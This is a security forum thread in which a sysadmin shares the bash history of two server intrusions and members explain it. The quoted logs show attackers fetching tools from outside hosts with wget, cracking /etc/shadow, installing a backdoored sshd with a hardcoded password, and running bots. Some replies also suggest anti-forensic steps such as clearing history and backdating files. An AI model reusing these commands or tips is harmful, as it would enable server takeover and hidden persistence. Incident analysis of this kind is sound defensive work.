THIS is how you hack a web server!

From: [email protected]
To: [email protected]
Subject: SSH compiled with backdoor

Hi!

One of my web servers was hacked on July 17, 2005. bash_history
showed:

w
wget geocities.com/cretu_2004/john-1.6.tar.gz;tar zxvf
john-1.6.tar.gz;rm -rf john-1.6.tar.gz;cd john-1.6/src;make linux-x86-any-elf;cd
../run;./john /etc/shadow
wget www.geocities.com/securedro/sshd.tar.gz;tar -xzf sshd.tar.gz;rm
-rf sshd.tar.gz;cd sshd;cd apps/ssh
pico genx.h
pico genx.h
pico ssh2includes.h
cd ../..
./configure --without-x
make
make install
mkdir /lib/java
cp /usr/sbin/sshd a
mv a /lib/java
rm -rf /usr/sbin/sshd
cp /usr/local/sbin/sshd /usr/sbin
/etc/rc.d/init.d/sshd restart
/etc/rc.d/init.d/ssh restart
locate init.d
/etc/init.d/sshd restart
w
reboot

According to john, a couple of users had weak passwords, but root
seemed well protected. From looking in all the bash_history, it appears the
hacker came in from the website account, and did an su from there.

I found this about a month later when I logged into the box, did an ls,
only to be met by a seg fault. A ps x showed mech.tgz trying to be
downloaded, and a bunch of other CRON processes running. The auth log
didn't show other logins, though, so the ssh installed must have logging
turned off for the backdoor they installed.

I filled out an abuse form at geocities for the accounts hosting the
software after downloading the software (I couldn't find the tgz files on
my system).

Last showed:
reboot system boot 2.4.18-bf2.4 Sun Jul 17 18:15
(37+11:47)
website pts/0 193.231.77.74 Sun Jul 17 17:42 - down
(00:27)
website pts/1 193.231.77.74 Sun Jul 17 17:05 - 17:26
(00:20)
website pts/0 211.43.207.169 Sun Jul 17 16:26 - 17:41
(01:14)

whois says:
inetnum: 193.231.77.0 - 193.231.77.255
netname: DATANET-RO
descr: Starnets - Datanet
country: RO
address: DATA NET
address: Str. Ioan N. Roman Nr. 13
address: Constanta, cod 900199, ROMANIA

Best Regards,

Steve


----------------

**** forgot something:

I posted this because I thought it was very interesting and it showed a common way to hack a computer running a Unix OS.



w

The first command they ran was "w" which was probably to see who was online and if root was sitting at the console or not and OF COURSE check the uptime maybe to take a guess as to when the last reboot was. This helps find an exploit that the machine may not have installed. Though this tech works better on Windows where EVERY patch needs a reboot.


wget geocities.com/cretu_2004/john-1.6.tar.gz;tar zxvf

They used wget to grab a file on their own website which was a hacked version of a common application used by admin.


john-1.6.tar.gz;rm -rf john-1.6.tar.gz;cd john-1.6/src;make linux-x86-any-elf;cd
../run;./john /etc/shadow

They remove the downloaded file so the admin doesn't find.

wget www.geocities.com/securedro/sshd.tar.gz;tar -xzf sshd.tar.gz;rm
-rf sshd.tar.gz;cd sshd;cd apps/ssh
pico genx.h
pico genx.h
pico ssh2includes.h

Editing the header file.

cd ../..
./configure --without-x
make
make install

Installing the backdoored app.

mkdir /lib/java
cp /usr/sbin/sshd a
mv a /lib/java
rm -rf /usr/sbin/sshd

Removing the actual applications to make room for their hacked copy.

cp /usr/local/sbin/sshd /usr/sbin
/etc/rc.d/init.d/sshd restart
/etc/rc.d/init.d/ssh restart
locate init.d
/etc/init.d/sshd restart

A mild **** up

w

Check if anyone is going to notice a reboot

reboot

Pow.

Tight. And it shows it wasn't a script that did this...or if it was, it was interupted and manually completed. I wonder how long that took to do? Reading through it, I feel a sense of urgency for the punk. Not that it matters, really. I don't know about you guys, but if I am so paranoid that I have to run w every few minutes to see whose doing what, I need a beer, a valium, and a new line of work. :D

Yah, looks a bit paranoid, but if you're stealin, you keep looking over your shoulder to see if anyone's watching you. That's how they catch shoplifters in retail. Gotta admit the kid's good, but only if the dl'd file is untraceable (did he goto the library or school computer lab to upload it the first time out?). Else with enough log checking and cooperation he can be found.

Quote:

---

Yah, looks a bit paranoid, but if you're stealin, you keep looking over your shoulder to see if anyone's watching you.

---

Quote:

---

I'm such an arrogant egotistical cocky self centered ****er!

---

Yeah, we really are 138.

LOL!

Does this face look almost mean?

Your face looks like... my ass.
Ermmm... goatse style.

Your a sexy man.
http://crime.about.com/od/history/qt...ords_gracy.htm

And yet they didn't sanitize the bash_history?

cheers,

catch

I had something allong these lines happen to a box of a friend.. Just a 'toy' linux box..
An ssh 'knocker' found a weak user (user: print, passwd: print (that's plain stupid))

A few minutes later came the 'hacker'
Or should I say lamer.. let's disect..

.bash_history

Code:

---

w
passwd

---

changed password

Code:

---

w
cd /var/tmp
ls
hostname -f
mkdir " "
cd " "

---

A nice hard to find folder

Code:

---

ls
pwd
wget esteticu.org/mremap_pte
chmod +x mremap_pte
./mremap_pte

---

old kernel exploit (ptrace) won't work

Code:

---

w
rm -rf mremap_pte
wget www.partyzone.go.ro/hide.tgz
tar xzvf hide.tgz
./hide root 0 0

---

Dude.. you arn't root.. that won't work

Code:

---

ls
rm -rf hide
rm -rf hide.tgz
wget ideo.go.ro/psy6667.tgz
tar xzvf psy6667.tgz
rm -rf psy6667.tgz
cd psybnc
chmod +x psybnc
mv psybnc backup
PATH="./"
backup
ls
rm -rf backup
kilall -9 psybnc
rm -rf psybnc
exit

---

Ok.. so you installed a irc-bot as a 'normal' user behind a NAT (he could have known this won't work) while you have a valid login (with your own password)..

Code:

---

export PATH='.'
psybnc
ls
exit

---

Still won't work

Code:

---

export PATH='.'
crond
exit

---

I don't get it.. perhaps there is also a 'fake' crond exec in the psybnc package..

Code:

---

ww

---

typo :p

Code:

---

w
cd /var/tmp
ls
cd " "
ls
killall -9 psybnc
rm -rf psbnc
uname -a

---

Should have done that a bit earlier.. could have saved you some time

Code:

---

wget www.skimy.go.ro/psy.tgz
tar xzvf psy.tgz
cd psybnc
sh
ls
killall -9 psybnc
rm -rf psybnc
rm -rf backup
cd ..
ls
rm -rf psy.tgz
rm -rf psybnc

---

OK he found out such a bot won't work behind a NAT

Code:

---

wget artist.idilis.ro/xpl.tgz
tar xzvf xpl.tgz
rm -rf xpl.tgz
mv mech "..  .bot"
cd "..  .bot"
sh

---

And that's where the bot send enough mail to trigger the ISP to kill the connection :P

Leaving the poor 'hacker' disconnected and all the evidence of his mishaps there for us to look at...

Very nice these disections ... I like 'em for seeing how they do it ... but then again if you get the logs and can see what they did, doesn't that mean they forgot to delete their evidence??.. Like catch said ! So that gets the discussion of how good they are or they just don't care maybe.

But off course if they did it from a public computer then would the evidence matter ?
Mmm wait it might if the place were the public computer stands keeps a record of who is using it (by means of driver license etc.. but these can be fake also)... just ranting, never mind :rolleyes:

Quote:

---

code:--------------------------------------------------------------------------------ww--------------------------------------------------------------------------------

---

I don't think it's a typo ...he got nervous and started to stotter :D

C.

If you had four bots watching over other botnets, two or three wordlisting shares, a couple more mass expoiting vulnerable software, and even more doing whatever number of things... randomly someone or another bot will drop in to check on things, rarely issue a command, and disconnect maybe 3 to 10 seconds after showing up. Honestly would you give a ****? I wouldn't and if something goes wrong its not like you'll ever know about it.

Public computers pfffft... say what? How about rather than some childish fantasy of sneaking around an office or whatever... has anyone ever actually taken the time to think about how well live-CDs would hold up agianst forensics?

Seriously man... come on now. :rolleyes:

Quote:

---

has anyone ever actually taken the time to think about how well live-CDs would hold up agianst forensics?

---

Actually yes, I have. I've also thought about other uses of live CDs such as how very effective they would be against bot infections.

The hax0rs seen in these examples were not pros. IF they were, you'd never have the amount of data left behind. These dudes are quantity bandits. They're not concerned with getting caught and they're not concerned if you find traces of activity. For every person who finds their footprints, 100 more will not. The main goal of present day crooks is to spread as much junk as quickly as possible.

Gore, how did they get initially grab the web account? Please don't tell me that someone setup apache with an account that had priviledges to login via ssh or telnet.

What a bunch of jackasses, Horsey's right these guys are goons. First off, if he had root he should've installed a decent rootkit to hide his ****. Second of all, he left the bash history like a clown, and to top it off, he reboots the machine. Why? All he changed was the sshd, and he restarted that already. then he backs up the real sshd in a java directory the guy didnt have before.. (Shoulda cleaned that from the logs aa well, along with sshd restart and set the modified date back)

-Maestr0

Quote:

---

he reboots the machine. Why? All he changed was the sshd, and he restarted that already. then he backs up the real sshd in a java directory the guy didnt have before.. (Shoulda cleaned that from the logs aa well, along with sshd restart and set the modified date back)

---

There is a reason why you shouldn't turn off a compromised computer. You have to figuer that most signs of an actual intrusion VIA: buffer overflow, the first set of changes will all happen in-memory. Plus the idea is that if a user just ignores it then it gives some insight into what type of people are on the other end. But yeah... none of that was needed at all and considering how few machines this thing would actually pwn... :rolleyes: Hummm.

A mem dump should already be part of the standard remediation process. If it's not, then the bad guy already wins due to bad procedures. ;)

How did they su to root if root had a decent password according to john. and how did they run john on /etc/shadow if they weren't root?

On windows servers it’s considered poor practice to leave ftp.exe and tftp.exe on the machine. Now not being a *nix admin by trade I could be wrong but isn’t the same true for leaving wget installed on a server?

Believe it or not, there are a LOT of package management utilities and application upgrade utilities that use wget to get components they need.

Of course you could block anything you feel would expose you to too much vulnerability, but remember that security is a balance of protection and convenience. I could block all incoming/outgoing TCP/UDP packets, but that's not very convenient. Wget is a useful tool to have on a pty where you may not have access to the X server, and need to get something from the network.

Then again, it also depends on the security model/level of the server in question, it's misison, etc. I probably wouldn't want a copy of wget on some FBI database, but it might be extremely handy to have on a web host for several local user websites running their own scripts, etc.

Quote:

---

On windows servers it’s considered poor practice to leave ftp.exe and tftp.exe on the machine.

---

I always considered the removal of such tools a waste of effort for essentially no gain and potentially needless inconvenience. The NSA, NCSC, NIST, Trusted Systems Inc, and Microsoft all agree with this as it amounts to little more than an annoyance for inept attackers AFTER they have compromised the system.

It is unfortunate that this idea of security is so prevelant, yet I bet these ftp.exe-less systems don't have CAF enabled, haven't restricted the administrator and system accounts from modifying the logs, and haven't revoked administrator's ability to take ownership of files or modify the security policy. All of which would be dramatic improvements and would move the system from a first generation to a second generation system per the OASIS definitons.

cheers,

catch

Hi, I have a dumb question.

Quote:

---

pico genx.h
pico genx.h
pico ssh2includes.h

---

why did he edit this?


also, so he got in via a weak web account that was allowed to telnet and/or ssh?

My knowledge in linux is slowly coming back, but is this interpretation correct?

w
Does a who command to see who is all on the system.

wget geocities.com/cretu_2004/john-1.6.tar.gz;tar zxvf
john-1.6.tar.gz;rm -rf john-1.6.tar.gz;cd john-1.6/src;make linux-x86-any-elf;cd
../run;./john /etc/shadow

These commands are broken into parts shown by a seperator(the semicolon). First wget command grabs what I am guessing is john the ripper or another password cracker. Second command is to basically unzip the file in windows terms. Then he removes the original zipped up archive. Changes the directory and makes the exe. Next command changes directory to the executable file. Then the ./ runs the program on /etc/shadow. This would make me assume that he already had root from the exploit, but probably would rather have a valid account for later use.

wget www.geocities.com/securedro/sshd.tar.gz;tar -xzf sshd.tar.gz;rm
-rf sshd.tar.gz;cd sshd;cd apps/ssh

Gets a file which I am guessing is a SSH server either whole because the target server didn't have the files installed or a hacked up version for his use.

The rest of it is pretty much setting up the backdoor and cleaning up a little.

That is just my interpretation of it broken down into tiny bits. Please point out any faulty points in my logic though cause I really need to get my linux skills back.

Requirements will set the framework for security. Personally, I have also seen many apps use wget to grab updates via a daily cron job.

He downloaded a backdoored version of sshd and used pico to set the password before he compiled it.

genx.h:

Code:

---

int genx=0,genxlookup=0;
char genxpass[]="toji",genxbuf[1024];
char genxfile[]="/dev/saux";

---

-Maestr0